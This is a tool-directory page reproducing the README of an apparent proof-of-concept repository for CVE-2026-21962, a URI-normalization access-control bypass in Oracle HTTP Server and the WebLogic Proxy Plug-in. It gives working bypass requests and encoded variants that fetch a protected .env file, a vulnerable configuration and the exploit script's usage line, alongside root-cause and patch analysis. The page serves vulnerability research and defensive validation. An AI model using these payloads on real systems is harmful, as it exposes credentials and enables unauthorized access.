Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-21962 — Verified PoC and analysis for CVE-2026-21962, an access-control bypass in Oracle HTTP Server/WebLogic Proxy Plug-in via URI normalization inconsistency, with exploit script and evidence. | Kitploit
Tools/GitHubGitHub/zeetee1235/cve-2026-21962
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHubzeetee1235/cve-2026-21962

CVE-2026-21962

Verified PoC and analysis for CVE-2026-21962, an access-control bypass in Oracle HTTP Server/WebLogic Proxy Plug-in via URI normalization inconsistency, with exploit script and evidence.

View Repository
12h 23m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-21962 — Oracle HTTP Server / WebLogic Server Proxy Plug-in

Access-Control Bypass via URI Normalization Inconsistency

An independently reproduced exploit and analysis for CVE-2026-21962 (improper access control, CVSS 10.0) in Oracle HTTP Server / the Oracle WebLogic Server Proxy Plug-in for Apache HTTP Server.

Status: verified against live OHS 12.2.1.4.0 and 14.1.2.0.0 fronting WebLogic Server 12.2.1.4.


1. TL;DR

The front-end (OHS + mod_wl_ohs) and the backend (WebLogic) normalize ..; differently. A request like:

root@kitploit:~
GET /foo/..;/internal-admin/cont/.env HTTP/1.1

bypasses a front-end <Location /internal-admin> protection rule because OHS does not collapse ..;, while WebLogic ( = servlet path-parameter, = parent). The backend then serves the protected path. Result: (CWE-284).

does
;
..
front-end access control bypass

See analysis/root-cause.md.

2. Scope — exactly what was verified

Verified (reproduced)

  • OHS 12.2.1.4.0 + mod_wl_ohs (WLSPLUGINS_12.2.1.4.0_LINUX.X64_190912.1848) fronting WebLogic Server 12.2.1.4.
  • OHS 14.1.2.0.0 + mod_wl_ohs (WLSPLUGINS_14.1.2.0.0_LINUX.X64_250908.1137) fronting WebLogic Server 12.2.1.4.
  • Bypass variants (all leak the protected .env):
    • /foo/..;/internal-admin/cont/.env
    • /foo/..%3b/internal-admin/cont/.env
    • /foo/..;jsessionid=xxxx/internal-admin/cont/.env
    • /foo/%2e%2e;/internal-admin/cont/.env
  • The direct (canonical) path is blocked (404), proving the bypass.
  • The response carries X-ORACLE-DMS-* headers, proving it is a genuine backend (WebLogic) response.
  • The backend access log shows the request normalized to /internal-admin/... (GET /foo/../internal-admin/... 200).
  • Patch-equivalent A/B: with front-end normalization fixed, the same request is blocked (see evidence/).
  • Ashwesker-family "RCE" URIs return 404 on the same vulnerable deployment (see poc-factcheck.md).

NOT verified

  • WebLogic Server Proxy Plug-in for IIS (isapi_wl, affected in 12.2.1.4.0). Same mechanism is expected (servlet path resolution on the backend), but it was not reproduced on Windows.
  • The official patched binaries (Oracle SSO-gated). Patch analysis is a binary diff of two public vulnerable builds + a patch-equivalent demonstration (analysis/patch-analysis.md).
  • Any RCE chain beyond data disclosure / SSRF. This project demonstrates an access-control bypass with data leak and an SSRF-priming scenario; it does not demonstrate OS command execution, and neither does any credible public PoC.

3. Environment

rolecomponentversion
front-endOracle HTTP Server12.2.1.4.0 / 14.1.2.0.0
plug-inmod_wl_ohs12.2.1.4 (190912) / 14.1.2 (250908)
backendOracle WebLogic Server12.2.1.4
protected app/internal-admin/cont/.env (fabricated credentials)—

Front-end configuration used (minimal trigger):

root@kitploit:~
<Location /foo>
  WLSRequest ON
  WebLogicCluster <backend>:7101
</Location>

<Location /internal-admin>
  ErrorDocument 404 'OHS: Disallowed location'
  Redirect 404 /
</Location>

4. Vulnerable vs Patched (A/B)

Same request, same front-end, same backend — only the front-end's handling of ..; is changed.

root@kitploit:~
GET /foo/..;/internal-admin/cont/.env HTTP/1.1
deploymentHTTPleakedbackend reached
vulnerable200yes (.env credentials)yes (X-ORACLE-DMS-*)
patched (fixed normalization)404nono

Raw evidence (request / response / server logs):

  • evidence/vulnerable/
  • evidence/patched/

5. Usage

root@kitploit:~
python3 exploit/CVE-2026-21962.py -t http://TARGET:PORT --auto-proxy --check ALL
  • --auto-proxy : auto-detect the WLSRequest proxy prefix (e.g. /foo).
  • -c : protected path on the backend (default internal-admin/cont/.env).
  • --check LEAK|SSRF|ALL.
  • Backend-response verification uses X-ORACLE-DMS-* headers; the control (direct) request must be blocked for the verdict to be positive.

See exploit/README.md for details. Use only against systems you are authorized to test.

6. Files

root@kitploit:~
.
├── README.md                     this file
├── exploit/
│   ├── CVE-2026-21962.py         verified PoC (deterministic leak check)
│   └── README.md
├── evidence/
│   ├── vulnerable/               request.txt, response.txt, server-log.txt
│   └── patched/                  request.txt, response.txt, server-log.txt
├── analysis/
│   ├── root-cause.md             normalization mismatch analysis
│   └── patch-analysis.md         binary diff + patch-equivalent A/B
└── poc-factcheck.md              public-PoC credibility table + per-PoC detail

Active detection / mapping tooling (fingerprint, blind probe, normalize-map) that works WITHOUT knowing a protected path is kept separately in ../../probe/.

Integrity

  • exploit/CVE-2026-21962.py SHA-256: 20f050abf2a8f0e5b644667c1f7f87bcd9b2448d03b8d5d89bd6ea71b6b4f75a

7. References

  • Oracle CPU (Jan 2026): https://www.oracle.com/security-alerts/cpujan2026.html
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21962
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21962
  • Original researcher: https://github.com/gregk4sec/cve-2026-21962

8. Responsible use

This material is provided for vulnerability research and defensive validation. Do not use against systems without authorization. The .env content in the evidence is fabricated; no real credentials are included.

Download Tool